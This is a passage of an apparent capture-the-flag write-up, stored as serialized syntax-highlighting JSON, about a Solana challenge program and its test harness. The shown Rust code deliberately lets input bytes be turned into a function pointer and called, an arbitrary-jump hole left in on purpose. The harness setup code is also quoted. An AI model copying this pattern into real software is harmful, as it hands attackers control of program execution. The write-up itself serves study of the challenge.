data",{"type":23,"tag":230,"props":42822,"children":42823},{"style":268},[42824],{"type":29,"value":218},{"type":23,"tag":230,"props":42826,"children":42827},{"style":262},[42828],{"type":29,"value":17430},{"type":23,"tag":230,"props":42830,"children":42831},{"style":268},[42832],{"type":29,"value":312},{"type":23,"tag":230,"props":42834,"children":42835},{"style":294},[42836],{"type":29,"value":28469},{"type":23,"tag":230,"props":42838,"children":42839},{"style":274},[42840],{"type":29,"value":16206},{"type":23,"tag":230,"props":42842,"children":42843},{"style":268},[42844],{"type":29,"value":312},{"type":23,"tag":230,"props":42846,"children":42847},{"style":294},[42848],{"type":29,"value":6001},{"type":23,"tag":230,"props":42850,"children":42851},{"style":274},[42852],{"type":29,"value":5827},{"type":23,"tag":230,"props":42854,"children":42855},{"class":232,"line":371},[42856,42861,42865,42869],{"type":23,"tag":230,"props":42857,"children":42858},{"style":262},[42859],{"type":29,"value":42860},"        accounts",{"type":23,"tag":230,"props":42862,"children":42863},{"style":268},[42864],{"type":29,"value":218},{"type":23,"tag":230,"props":42866,"children":42867},{"style":294},[42868],{"type":29,"value":6064},{"type":23,"tag":230,"props":42870,"children":42871},{"style":274},[42872],{"type":29,"value":42873},"[]\n",{"type":23,"tag":230,"props":42875,"children":42876},{"class":232,"line":391},[42877],{"type":23,"tag":230,"props":42878,"children":42879},{"style":274},[42880],{"type":29,"value":3700},{"type":23,"tag":230,"props":42882,"children":42883},{"class":232,"line":400},[42884],{"type":23,"tag":230,"props":42885,"children":42886},{"emptyLinePlaceholder":18},[42887],{"type":29,"value":459},{"type":23,"tag":230,"props":42889,"children":42890},{"class":232,"line":444},[42891,42896],{"type":23,"tag":230,"props":42892,"children":42893},{"style":294},[42894],{"type":29,"value":42895},"    invoke_signed_unchecked",{"type":23,"tag":230,"props":42897,"children":42898},{"style":274},[42899],{"type":29,"value":619},{"type":23,"tag":230,"props":42901,"children":42902},{"class":232,"line":453},[42903,42907,42912],{"type":23,"tag":230,"props":42904,"children":42905},{"style":268},[42906],{"type":29,"value":5808},{"type":23,"tag":230,"props":42908,"children":42909},{"style":262},[42910],{"type":29,"value":42911},"ix",{"type":23,"tag":230,"props":42913,"children":42914},{"style":274},[42915],{"type":29,"value":388},{"type":23,"tag":230,"props":42917,"children":42918},{"class":232,"line":462},[42919,42923],{"type":23,"tag":230,"props":42920,"children":42921},{"style":268},[42922],{"type":29,"value":5808},{"type":23,"tag":230,"props":42924,"children":42925},{"style":274},[42926],{"type":29,"value":42927},"[],\n",{"type":23,"tag":230,"props":42929,"children":42930},{"class":232,"line":471},[42931,42935],{"type":23,"tag":230,"props":42932,"children":42933},{"style":268},[42934],{"type":29,"value":5808},{"type":23,"tag":230,"props":42936,"children":42937},{"style":274},[42938],{"type":29,"value":42927},{"type":23,"tag":230,"props":42940,"children":42941},{"class":232,"line":500},[42942,42946,42950,42954],{"type":23,"tag":230,"props":42943,"children":42944},{"style":274},[42945],{"type":29,"value":5992},{"type":23,"tag":230,"props":42947,"children":42948},{"style":268},[42949],{"type":29,"value":312},{"type":23,"tag":230,"props":42951,"children":42952},{"style":294},[42953],{"type":29,"value":6001},{"type":23,"tag":230,"props":42955,"children":42956},{"style":274},[42957],{"type":29,"value":2140},{"type":23,"tag":230,"props":42959,"children":42960},{"class":232,"line":514},[42961],{"type":23,"tag":230,"props":42962,"children":42963},{"style":274},[42964],{"type":29,"value":975},{"type":23,"tag":144,"props":42966,"children":42967},{"start":252},[42968],{"type":23,"tag":102,"props":42969,"children":42970},{},[42971,42973,42979],{"type":29,"value":42972},"Finally, if ",{"type":23,"tag":71,"props":42974,"children":42976},{"className":42975},[],[42977],{"type":29,"value":42978},"data[0]",{"type":29,"value":42980}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":23,"tag":220,"props":42982,"children":42984},{"className":5320,"code":42983,"language":5319,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[42985],{"type":23,"tag":71,"props":42986,"children":42987},{"__ignoreMap":7},[42988,42995,43043,43054,43174,43289,43308,43315,43350,43357,43476,43591,43610,43617],{"type":23,"tag":230,"props":42989,"children":42990},{"class":232,"line":233},[42991],{"type":23,"tag":230,"props":42992,"children":42993},{"style":274},[42994],{"type":29,"value":42345},{"type":23,"tag":230,"props":42996,"children":42997},{"class":232,"line":243},[42998,43002,43006,43011,43015,43019,43023,43027,43031,43035,43039],{"type":23,"tag":230,"props":42999,"children":43000},{"style":256},[43001],{"type":29,"value":16017},{"type":23,"tag":230,"props":43003,"children":43004},{"style":256},[43005],{"type":29,"value":16022},{"type":23,"tag":230,"props":43007,"children":43008},{"style":294},[43009],{"type":29,"value":43010}," process",{"type":23,"tag":230,"props":43012,"children":43013},{"style":274},[43014],{"type":29,"value":302},{"type":23,"tag":230,"props":43016,"children":43017},{"style":256},[43018],{"type":29,"value":6059},{"type":23,"tag":230,"props":43020,"children":43021},{"style":262},[43022],{"type":29,"value":17430},{"type":23,"tag":230,"props":43024,"children":43025},{"style":268},[43026],{"type":29,"value":218},{"type":23,"tag":230,"props":43028,"children":43029},{"style":268},[43030],{"type":29,"value":9477},{"type":23,"tag":230,"props":43032,"children":43033},{"style":274},[43034],{"type":29,"value":6069},{"type":23,"tag":230,"props":43036,"children":43037},{"style":676},[43038],{"type":29,"value":5759},{"type":23,"tag":230,"props":43040,"children":43041},{"style":274},[43042],{"type":29,"value":42390},{"type":23,"tag":230,"props":43044,"children":43045},{"class":232,"line":252},[43046,43050],{"type":23,"tag":230,"props":43047,"children":43048},{"style":256},[43049],{"type":29,"value":16160},{"type":23,"tag":230,"props":43051,"children":43052},{"style":274},[43053],{"type":29,"value":277},{"type":23,"tag":230,"props":43055,"children":43056},{"class":232,"line":280},[43057,43061,43065,43069,43073,43077,43081,43085,43089,43093,43097,43101,43105,43109,43113,43117,43121,43125,43130,43134,43138,43142,43146,43150,43154,43158,43162,43166,43170],{"type":23,"tag":230,"props":43058,"children":43059},{"style":256},[43060],{"type":29,"value":5404},{"type":23,"tag":230,"props":43062,"children":43063},{"style":262},[43064],{"type":29,"value":16184},{"type":23,"tag":230,"props":43066,"children":43067},{"style":268},[43068],{"type":29,"value":271},{"type":23,"tag":230,"props":43070,"children":43071},{"style":274},[43072],{"type":29,"value":42421},{"type":23,"tag":230,"props":43074,"children":43075},{"style":268},[43076],{"type":29,"value":5818},{"type":23,"tag":230,"props":43078,"children":43079},{"style":274},[43080],{"type":29,"value":42430},{"type":23,"tag":230,"props":43082,"children":43083},{"style":268},[43084],{"type":29,"value":5818},{"type":23,"tag":230,"props":43086,"children":43087},{"style":294},[43088],{"type":29,"value":42439},{"type":23,"tag":230,"props":43090,"children":43091},{"style":268},[43092],{"type":29,"value":5818},{"type":23,"tag":230,"props":43094,"children":43095},{"style":274},[43096],{"type":29,"value":42448},{"type":23,"tag":230,"props":43098,"children":43099},{"style":676},[43100],{"type":29,"value":5759},{"type":23,"tag":230,"props":43102,"children":43103},{"style":274},[43104],{"type":29,"value":2171},{"type":23,"tag":230,"props":43106,"children":43107},{"style":5149},[43108],{"type":29,"value":6412},{"type":23,"tag":230,"props":43110,"children":43111},{"style":274},[43112],{"type":29,"value":25375},{"type":23,"tag":230,"props":43114,"children":43115},{"style":256},[43116],{"type":29,"value":22581},{"type":23,"tag":230,"props":43118,"children":43119},{"style":274},[43120],{"type":29,"value":302},{"type":23,"tag":230,"props":43122,"children":43123},{"style":676},[43124],{"type":29,"value":10377},{"type":23,"tag":230,"props":43126,"children":43127},{"style":274},[43128],{"type":29,"value":43129},")>(",{"type":23,"tag":230,"props":43131,"children":43132},{"style":262},[43133],{"type":29,"value":6037},{"type":23,"tag":230,"props":43135,"children":43136},{"style":274},[43137],{"type":29,"value":6069},{"type":23,"tag":230,"props":43139,"children":43140},{"style":268},[43141],{"type":29,"value":5391},{"type":23,"tag":230,"props":43143,"children":43144},{"style":5149},[43145],{"type":29,"value":6412},{"type":23,"tag":230,"props":43147,"children":43148},{"style":274},[43149],{"type":29,"value":17735},{"type":23,"tag":230,"props":43151,"children":43152},{"style":268},[43153],{"type":29,"value":312},{"type":23,"tag":230,"props":43155,"children":43156},{"style":294},[43157],{"type":29,"value":28469},{"type":23,"tag":230,"props":43159,"children":43160},{"style":274},[43161],{"type":29,"value":16206},{"type":23,"tag":230,"props":43163,"children":43164},{"style":268},[43165],{"type":29,"value":312},{"type":23,"tag":230,"props":43167,"children":43168},{"style":294},[43169],{"type":29,"value":6001},{"type":23,"tag":230,"props":43171,"children":43172},{"style":274},[43173],{"type":29,"value":17749},{"type":23,"tag":230,"props":43175,"children":43176},{"class":232,"line":334},[43177,43181,43185,43189,43193,43197,43201,43205,43209,43213,43217,43221,43225,43229,43233,43237,43241,43245,43249,43253,43257,43261,43265,43269,43273,43277,43281,43285],{"type":23,"tag":230,"props":43178,"children":43179},{"style":256},[43180],{"type":29,"value":5404},{"type":23,"tag":230,"props":43182,"children":43183},{"style":262},[43184],{"type":29,"value":42536},{"type":23,"tag":230,"props":43186,"children":43187},{"style":268},[43188],{"type":29,"value":271},{"type":23,"tag":230,"props":43190,"children":43191},{"style":274},[43192],{"type":29,"value":42421},{"type":23,"tag":230,"props":43194,"children":43195},{"style":268},[43196],{"type":29,"value":5818},{"type":23,"tag":230,"props":43198,"children":43199},{"style":274},[43200],{"type":29,"value":42430},{"type":23,"tag":230,"props":43202,"children":43203},{"style":268},[43204],{"type":29,"value":5818},{"type":23,"tag":230,"props":43206,"children":43207},{"style":294},[43208],{"type":29,"value":42439},{"type":23,"tag":230,"props":43210,"children":43211},{"style":268},[43212],{"type":29,"value":5818},{"type":23,"tag":230,"props":43214,"children":43215},{"style":274},[43216],{"type":29,"value":42448},{"type":23,"tag":230,"props":43218,"children":43219},{"style":676},[43220],{"type":29,"value":5759},{"type":23,"tag":230,"props":43222,"children":43223},{"style":274},[43224],{"type":29,"value":2171},{"type":23,"tag":230,"props":43226,"children":43227},{"style":5149},[43228],{"type":29,"value":6412},{"type":23,"tag":230,"props":43230,"children":43231},{"style":274},[43232],{"type":29,"value":25375},{"type":23,"tag":230,"props":43234,"children":43235},{"style":676},[43236],{"type":29,"value":10377},{"type":23,"tag":230,"props":43238,"children":43239},{"style":274},[43240],{"type":29,"value":9947},{"type":23,"tag":230,"props":43242,"children":43243},{"style":262},[43244],{"type":29,"value":6037},{"type":23,"tag":230,"props":43246,"children":43247},{"style":274},[43248],{"type":29,"value":6069},{"type":23,"tag":230,"props":43250,"children":43251},{"style":5149},[43252],{"type":29,"value":6412},{"type":23,"tag":230,"props":43254,"children":43255},{"style":268},[43256],{"type":29,"value":5391},{"type":23,"tag":230,"props":43258,"children":43259},{"style":5149},[43260],{"type":29,"value":42613},{"type":23,"tag":230,"props":43262,"children":43263},{"style":274},[43264],{"type":29,"value":17735},{"type":23,"tag":230,"props":43266,"children":43267},{"style":268},[43268],{"type":29,"value":312},{"type":23,"tag":230,"props":43270,"children":43271},{"style":294},[43272],{"type":29,"value":28469},{"type":23,"tag":230,"props":43274,"children":43275},{"style":274},[43276],{"type":29,"value":16206},{"type":23,"tag":230,"props":43278,"children":43279},{"style":268},[43280],{"type":29,"value":312},{"type":23,"tag":230,"props":43282,"children":43283},{"style":294},[43284],{"type":29,"value":6001},{"type":23,"tag":230,"props":43286,"children":43287},{"style":274},[43288],{"type":29,"value":17749},{"type":23,"tag":230,"props":43290,"children":43291},{"class":232,"line":371},[43292,43296,43300,43304],{"type":23,"tag":230,"props":43293,"children":43294},{"style":294},[43295],{"type":29,"value":42649},{"type":23,"tag":230,"props":43297,"children":43298},{"style":274},[43299],{"type":29,"value":302},{"type":23,"tag":230,"props":43301,"children":43302},{"style":262},[43303],{"type":29,"value":14962},{"type":23,"tag":230,"props":43305,"children":43306},{"style":274},[43307],{"type":29,"value":753},{"type":23,"tag":230,"props":43309,"children":43310},{"class":232,"line":391},[43311],{"type":23,"tag":230,"props":43312,"children":43313},{"emptyLinePlaceholder":18},[43314],{"type":29,"value":459},{"type":23,"tag":230,"props":43316,"children":43317},{"class":232,"line":400},[43318,43322,43326,43330,43334,43338,43342,43346],{"type":23,"tag":230,"props":43319,"children":43320},{"style":262},[43321],{"type":29,"value":42820},{"type":23,"tag":230,"props":43323,"children":43324},{"style":268},[43325],{"type":29,"value":271},{"type":23,"tag":230,"props":43327,"children":43328},{"style":268},[43329],{"type":29,"value":9477},{"type":23,"tag":230,"props":43331,"children":43332},{"style":262},[43333],{"type":29,"value":6037},{"type":23,"tag":230,"props":43335,"children":43336},{"style":274},[43337],{"type":29,"value":6069},{"type":23,"tag":230,"props":43339,"children":43340},{"style":5149},[43341],{"type":29,"value":42613},{"type":23,"tag":230,"props":43343,"children":43344},{"style":268},[43345],{"type":29,"value":5391},{"type":23,"tag":230,"props":43347,"children":43348},{"style":274},[43349],{"type":29,"value":33871},{"type":23,"tag":230,"props":43351,"children":43352},{"class":232,"line":444},[43353],{"type":23,"tag":230,"props":43354,"children":43355},{"emptyLinePlaceholder":18},[43356],{"type":29,"value":459},{"type":23,"tag":230,"props":43358,"children":43359},{"class":232,"line":453},[43360,43364,43368,43372,43376,43380,43384,43388,43392,43396,43400,43404,43408,43412,43416,43420,43424,43428,43432,43436,43440,43444,43448,43452,43456,43460,43464,43468,43472],{"type":23,"tag":230,"props":43361,"children":43362},{"style":256},[43363],{"type":29,"value":5404},{"type":23,"tag":230,"props":43365,"children":43366},{"style":262},[43367],{"type":29,"value":16184},{"type":23,"tag":230,"props":43369,"children":43370},{"style":268},[43371],{"type":29,"value":271},{"type":23,"tag":230,"props":43373,"children":43374},{"style":274},[43375],{"type":29,"value":42421},{"type":23,"tag":230,"props":43377,"children":43378},{"style":268},[43379],{"type":29,"value":5818},{"type":23,"tag":230,"props":43381,"children":43382},{"style":274},[43383],{"type":29,"value":42430},{"type":23,"tag":230,"props":43385,"children":43386},{"style":268},[43387],{"type":29,"value":5818},{"type":23,"tag":230,"props":43389,"children":43390},{"style":294},[43391],{"type":29,"value":42439},{"type":23,"tag":230,"props":43393,"children":43394},{"style":268},[43395],{"type":29,"value":5818},{"type":23,"tag":230,"props":43397,"children":43398},{"style":274},[43399],{"type":29,"value":42448},{"type":23,"tag":230,"props":43401,"children":43402},{"style":676},[43403],{"type":29,"value":5759},{"type":23,"tag":230,"props":43405,"children":43406},{"style":274},[43407],{"type":29,"value":2171},{"type":23,"tag":230,"props":43409,"children":43410},{"style":5149},[43411],{"type":29,"value":6412},{"type":23,"tag":230,"props":43413,"children":43414},{"style":274},[43415],{"type":29,"value":25375},{"type":23,"tag":230,"props":43417,"children":43418},{"style":256},[43419],{"type":29,"value":22581},{"type":23,"tag":230,"props":43421,"children":43422},{"style":274},[43423],{"type":29,"value":302},{"type":23,"tag":230,"props":43425,"children":43426},{"style":676},[43427],{"type":29,"value":10377},{"type":23,"tag":230,"props":43429,"children":43430},{"style":274},[43431],{"type":29,"value":43129},{"type":23,"tag":230,"props":43433,"children":43434},{"style":262},[43435],{"type":29,"value":6037},{"type":23,"tag":230,"props":43437,"children":43438},{"style":274},[43439],{"type":29,"value":6069},{"type":23,"tag":230,"props":43441,"children":43442},{"style":268},[43443],{"type":29,"value":5391},{"type":23,"tag":230,"props":43445,"children":43446},{"style":5149},[43447],{"type":29,"value":6412},{"type":23,"tag":230,"props":43449,"children":43450},{"style":274},[43451],{"type":29,"value":17735},{"type":23,"tag":230,"props":43453,"children":43454},{"style":268},[43455],{"type":29,"value":312},{"type":23,"tag":230,"props":43457,"children":43458},{"style":294},[43459],{"type":29,"value":28469},{"type":23,"tag":230,"props":43461,"children":43462},{"style":274},[43463],{"type":29,"value":16206},{"type":23,"tag":230,"props":43465,"children":43466},{"style":268},[43467],{"type":29,"value":312},{"type":23,"tag":230,"props":43469,"children":43470},{"style":294},[43471],{"type":29,"value":6001},{"type":23,"tag":230,"props":43473,"children":43474},{"style":274},[43475],{"type":29,"value":17749},{"type":23,"tag":230,"props":43477,"children":43478},{"class":232,"line":462},[43479,43483,43487,43491,43495,43499,43503,43507,43511,43515,43519,43523,43527,43531,43535,43539,43543,43547,43551,43555,43559,43563,43567,43571,43575,43579,43583,43587],{"type":23,"tag":230,"props":43480,"children":43481},{"style":256},[43482],{"type":29,"value":5404},{"type":23,"tag":230,"props":43484,"children":43485},{"style":262},[43486],{"type":29,"value":42536},{"type":23,"tag":230,"props":43488,"children":43489},{"style":268},[43490],{"type":29,"value":271},{"type":23,"tag":230,"props":43492,"children":43493},{"style":274},[43494],{"type":29,"value":42421},{"type":23,"tag":230,"props":43496,"children":43497},{"style":268},[43498],{"type":29,"value":5818},{"type":23,"tag":230,"props":43500,"children":43501},{"style":274},[43502],{"type":29,"value":42430},{"type":23,"tag":230,"props":43504,"children":43505},{"style":268},[43506],{"type":29,"value":5818},{"type":23,"tag":230,"props":43508,"children":43509},{"style":294},[43510],{"type":29,"value":42439},{"type":23,"tag":230,"props":43512,"children":43513},{"style":268},[43514],{"type":29,"value":5818},{"type":23,"tag":230,"props":43516,"children":43517},{"style":274},[43518],{"type":29,"value":42448},{"type":23,"tag":230,"props":43520,"children":43521},{"style":676},[43522],{"type":29,"value":5759},{"type":23,"tag":230,"props":43524,"children":43525},{"style":274},[43526],{"type":29,"value":2171},{"type":23,"tag":230,"props":43528,"children":43529},{"style":5149},[43530],{"type":29,"value":6412},{"type":23,"tag":230,"props":43532,"children":43533},{"style":274},[43534],{"type":29,"value":25375},{"type":23,"tag":230,"props":43536,"children":43537},{"style":676},[43538],{"type":29,"value":10377},{"type":23,"tag":230,"props":43540,"children":43541},{"style":274},[43542],{"type":29,"value":9947},{"type":23,"tag":230,"props":43544,"children":43545},{"style":262},[43546],{"type":29,"value":6037},{"type":23,"tag":230,"props":43548,"children":43549},{"style":274},[43550],{"type":29,"value":6069},{"type":23,"tag":230,"props":43552,"children":43553},{"style":5149},[43554],{"type":29,"value":6412},{"type":23,"tag":230,"props":43556,"children":43557},{"style":268},[43558],{"type":29,"value":5391},{"type":23,"tag":230,"props":43560,"children":43561},{"style":5149},[43562],{"type":29,"value":42613},{"type":23,"tag":230,"props":43564,"children":43565},{"style":274},[43566],{"type":29,"value":17735},{"type":23,"tag":230,"props":43568,"children":43569},{"style":268},[43570],{"type":29,"value":312},{"type":23,"tag":230,"props":43572,"children":43573},{"style":294},[43574],{"type":29,"value":28469},{"type":23,"tag":230,"props":43576,"children":43577},{"style":274},[43578],{"type":29,"value":16206},{"type":23,"tag":230,"props":43580,"children":43581},{"style":268},[43582],{"type":29,"value":312},{"type":23,"tag":230,"props":43584,"children":43585},{"style":294},[43586],{"type":29,"value":6001},{"type":23,"tag":230,"props":43588,"children":43589},{"style":274},[43590],{"type":29,"value":17749},{"type":23,"tag":230,"props":43592,"children":43593},{"class":232,"line":471},[43594,43598,43602,43606],{"type":23,"tag":230,"props":43595,"children":43596},{"style":294},[43597],{"type":29,"value":42649},{"type":23,"tag":230,"props":43599,"children":43600},{"style":274},[43601],{"type":29,"value":302},{"type":23,"tag":230,"props":43603,"children":43604},{"style":262},[43605],{"type":29,"value":14962},{"type":23,"tag":230,"props":43607,"children":43608},{"style":274},[43609],{"type":29,"value":753},{"type":23,"tag":230,"props":43611,"children":43612},{"class":232,"line":500},[43613],{"type":23,"tag":230,"props":43614,"children":43615},{"style":274},[43616],{"type":29,"value":1552},{"type":23,"tag":230,"props":43618,"children":43619},{"class":232,"line":514},[43620],{"type":23,"tag":230,"props":43621,"children":43622},{"style":274},[43623],{"type":29,"value":975},{"type":23,"tag":59,"props":43625,"children":43627},{"id":43626},"test-environment",[43628],{"type":29,"value":43629},"Test Environment",{"type":23,"tag":32,"props":43631,"children":43632},{},[43633],{"type":29,"value":43634},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":23,"tag":32,"props":43636,"children":43637},{},[43638,43640,43646],{"type":29,"value":43639},"When you connect to the server through a tcp connection, ",{"type":23,"tag":71,"props":43641,"children":43643},{"className":43642},[],[43644],{"type":29,"value":43645},"framework/src/main.rs::handle_connection",{"type":29,"value":43647}," gets executed, which does the following:",{"type":23,"tag":144,"props":43649,"children":43650},{},[43651],{"type":23,"tag":102,"props":43652,"children":43653},{},[43654],{"type":29,"value":43655},"Creates a new Solana local node",{"type":23,"tag":220,"props":43657,"children":43659},{"className":5320,"code":43658,"language":5319,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[43660],{"type":23,"tag":71,"props":43661,"children":43662},{"__ignoreMap":7},[43663,43744,43820],{"type":23,"tag":230,"props":43664,"children":43665},{"class":232,"line":233},[43666,43670,43674,43679,43683,43688,43692,43697,43701,43706,43710,43715,43719,43723,43727,43732,43736,43740],{"type":23,"tag":230,"props":43667,"children":43668},{"style":256},[43669],{"type":29,"value":14118},{"type":23,"tag":230,"props":43671,"children":43672},{"style":256},[43673],{"type":29,"value":5345},{"type":23,"tag":230,"props":43675,"children":43676},{"style":262},[43677],{"type":29,"value":43678}," builder",{"type":23,"tag":230,"props":43680,"children":43681},{"style":268},[43682],{"type":29,"value":271},{"type":23,"tag":230,"props":43684,"children":43685},{"style":676},[43686],{"type":29,"value":43687}," ChallengeBuilder",{"type":23,"tag":230,"props":43689,"children":43690},{"style":268},[43691],{"type":29,"value":5818},{"type":23,"tag":230,"props":43693,"children":43694},{"style":294},[43695],{"type":29,"value":43696},"try_from",{"type":23,"tag":230,"props":43698,"children":43699},{"style":274},[43700],{"type":29,"value":302},{"type":23,"tag":230,"props":43702,"children":43703},{"style":262},[43704],{"type":29,"value":43705},"socket",{"type":23,"tag":230,"props":43707,"children":43708},{"style":268},[43709],{"type":29,"value":312},{"type":23,"tag":230,"props":43711,"children":43712},{"style":294},[43713],{"type":29,"value":43714},"try_clone",{"type":23,"tag":230,"props":43716,"children":43717},{"style":274},[43718],{"type":29,"value":16206},{"type":23,"tag":230,"props":43720,"children":43721},{"style":268},[43722],{"type":29,"value":312},{"type":23,"tag":230,"props":43724,"children":43725},{"style":294},[43726],{"type":29,"value":6001},{"type":23,"tag":230,"props":43728,"children":43729},{"style":274},[43730],{"type":29,"value":43731},"())",{"type":23,"tag":230,"props":43733,"children":43734},{"style":268},[43735],{"type":29,"value":312},{"type":23,"tag":230,"props":43737,"children":43738},{"style":294},[43739],{"type":29,"value":6001},{"type":23,"tag":230,"props":43741,"children":43742},{"style":274},[43743],{"type":29,"value":2140},{"type":23,"tag":230,"props":43745,"children":43746},{"class":232,"line":243},[43747,43752,43756,43761,43765,43770,43774,43779,43783,43788,43793,43797,43802,43806,43811,43815],{"type":23,"tag":230,"props":43748,"children":43749},{"style":294},[43750],{"type":29,"value":43751},"assert!",{"type":23,"tag":230,"props":43753,"children":43754},{"style":274},[43755],{"type":29,"value":302},{"type":23,"tag":230,"props":43757,"children":43758},{"style":262},[43759],{"type":29,"value":43760},"builder",{"type":23,"tag":230,"props":43762,"children":43763},{"style":268},[43764],{"type":29,"value":312},{"type":23,"tag":230,"props":43766,"children":43767},{"style":294},[43768],{"type":29,"value":43769},"add_program",{"type":23,"tag":230,"props":43771,"children":43772},{"style":274},[43773],{"type":29,"value":302},{"type":23,"tag":230,"props":43775,"children":43776},{"style":380},[43777],{"type":29,"value":43778},"\"/path/to/chall.so\"",{"type":23,"tag":230,"props":43780,"children":43781},{"style":274},[43782],{"type":29,"value":684},{"type":23,"tag":230,"props":43784,"children":43785},{"style":676},[43786],{"type":29,"value":43787},"Some",{"type":23,"tag":230,"props":43789,"children":43790},{"style":274},[43791],{"type":29,"value":43792},"(chall",{"type":23,"tag":230,"props":43794,"children":43795},{"style":268},[43796],{"type":29,"value":5818},{"type":23,"tag":230,"props":43798,"children":43799},{"style":274},[43800],{"type":29,"value":43801},"ID)) ",{"type":23,"tag":230,"props":43803,"children":43804},{"style":268},[43805],{"type":29,"value":10911},{"type":23,"tag":230,"props":43807,"children":43808},{"style":274},[43809],{"type":29,"value":43810}," chall",{"type":23,"tag":230,"props":43812,"children":43813},{"style":268},[43814],{"type":29,"value":5818},{"type":23,"tag":230,"props":43816,"children":43817},{"style":274},[43818],{"type":29,"value":43819},"ID);\n",{"type":23,"tag":230,"props":43821,"children":43822},{"class":232,"line":252},[43823,43827,43831,43835,43839,43843,43847,43852,43856,43860,43864],{"type":23,"tag":230,"props":43824,"children":43825},{"style":256},[43826],{"type":29,"value":14118},{"type":23,"tag":230,"props":43828,"children":43829},{"style":256},[43830],{"type":29,"value":5345},{"type":23,"tag":230,"props":43832,"children":43833},{"style":262},[43834],{"type":29,"value":43810},{"type":23,"tag":230,"props":43836,"children":43837},{"style":268},[43838],{"type":29,"value":271},{"type":23,"tag":230,"props":43840,"children":43841},{"style":262},[43842],{"type":29,"value":43678},{"type":23,"tag":230,"props":43844,"children":43845},{"style":268},[43846],{"type":29,"value":312},{"type":23,"tag":230,"props":43848,"children":43849},{"style":294},[43850],{"type":29,"value":43851},"build",{"type":23,"tag":230,"props":43853,"children":43854},{"style":274},[43855],{"type":29,"value":16206},{"type":23,"tag":230,"props":43857,"children":43858},{"style":268},[43859],{"type":29,"value":312},{"type":23,"tag":230,"props":43861,"children":43862},{"style":866},[43863],{"type":29,"value":2640},{"type":23,"tag":230,"props":43865,"children":43866},{"style":274},[43867],{"type":29,"value":511},{"type":23,"tag":144,"props":43869,"children":43870},{"start":243},[43871],{"type":23,"tag":102,"props":43872,"children":43873},{},[43874],{"type":29,"value":43875},"Funds the user account with 100 SOL",{"type":23,"tag":220,"props":43877,"children":43879},{"className":5320,"code":43878,"language":5319,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[43880],{"type":23,"tag":71,"props":43881,"children":43882},{"__ignoreMap":7},[43883,43916,43948,43955,43997,44029,44036,44044,44108,44127,44134],{"type":23,"tag":230,"props":43884,"children":43885},{"class":232,"line":233},[43886,43890,43895,43899,43904,43908,43912],{"type":23,"tag":230,"props":43887,"children":43888},{"style":256},[43889],{"type":29,"value":14118},{"type":23,"tag":230,"props":43891,"children":43892},{"style":262},[43893],{"type":29,"value":43894}," user_keypair",{"type":23,"tag":230,"props":43896,"children":43897},{"style":268},[43898],{"type":29,"value":271},{"type":23,"tag":230,"props":43900,"children":43901},{"style":676},[43902],{"type":29,"value":43903}," Keypair",{"type":23,"tag":230,"props":43905,"children":43906},{"style":268},[43907],{"type":29,"value":5818},{"type":23,"tag":230,"props":43909,"children":43910},{"style":294},[43911],{"type":29,"value":17448},{"type":23,"tag":230,"props":43913,"children":43914},{"style":274},[43915],{"type":29,"value":2140},{"type":23,"tag":230,"props":43917,"children":43918},{"class":232,"line":243},[43919,43923,43928,43932,43936,43940,43944],{"type":23,"tag":230,"props":43920,"children":43921},{"style":256},[43922],{"type":29,"value":14118},{"type":23,"tag":230,"props":43924,"children":43925},{"style":262},[43926],{"type":29,"value":43927}," user",{"type":23,"tag":230,"props":43929,"children":43930},{"style":268},[43931],{"type":29,"value":271},{"type":23,"tag":230,"props":43933,"children":43934},{"style":262},[43935],{"type":29,"value":43894},{"type":23,"tag":230,"props":43937,"children":43938},{"style":268},[43939],{"type":29,"value":312},{"type":23,"tag":230,"props":43941,"children":43942},{"style":294},[43943],{"type":29,"value":5880},{"type":23,"tag":230,"props":43945,"children":43946},{"style":274},[43947],{"type":29,"value":2140},{"type":23,"tag":230,"props":43949,"children":43950},{"class":232,"line":252},[43951],{"type":23,"tag":230,"props":43952,"children":43953},{"emptyLinePlaceholder":18},[43954],{"type":29,"value":459},{"type":23,"tag":230,"props":43956,"children":43957},{"class":232,"line":280},[43958,43962,43967,43971,43975,43980,43984,43988,43992],{"type":23,"tag":230,"props":43959,"children":43960},{"style":256},[43961],{"type":29,"value":14118},{"type":23,"tag":230,"props":43963,"children":43964},{"style":262},[43965],{"type":29,"value":43966}," payer_keypair",{"type":23,"tag":230,"props":43968,"children":43969},{"style":268},[43970],{"type":29,"value":271},{"type":23,"tag":230,"props":43972,"children":43973},{"style":268},[43974],{"type":29,"value":9477},{"type":23,"tag":230,"props":43976,"children":43977},{"style":262},[43978],{"type":29,"value":43979},"chall",{"type":23,"tag":230,"props":43981,"children":43982},{"style":268},[43983],{"type":29,"value":312},{"type":23,"tag":230,"props":43985,"children":43986},{"style":274},[43987],{"type":29,"value":22595},{"type":23,"tag":230,"props":43989,"children":43990},{"style":268},[43991],{"type":29,"value":312},{"type":23,"tag":230,"props":43993,"children":43994},{"style":274},[43995],{"type":29,"value":43996},"payer;\n",{"type":23,"tag":230,"props":43998,"children":43999},{"class":232,"line":334},[44000,44004,44009,44013,44017,44021,44025],{"type":23,"tag":230,"props":44001,"children":44002},{"style":256},[44003],{"type":29,"value":14118},{"type":23,"tag":230,"props":44005,"children":44006},{"style":262},[44007],{"type":29,"value":44008}," 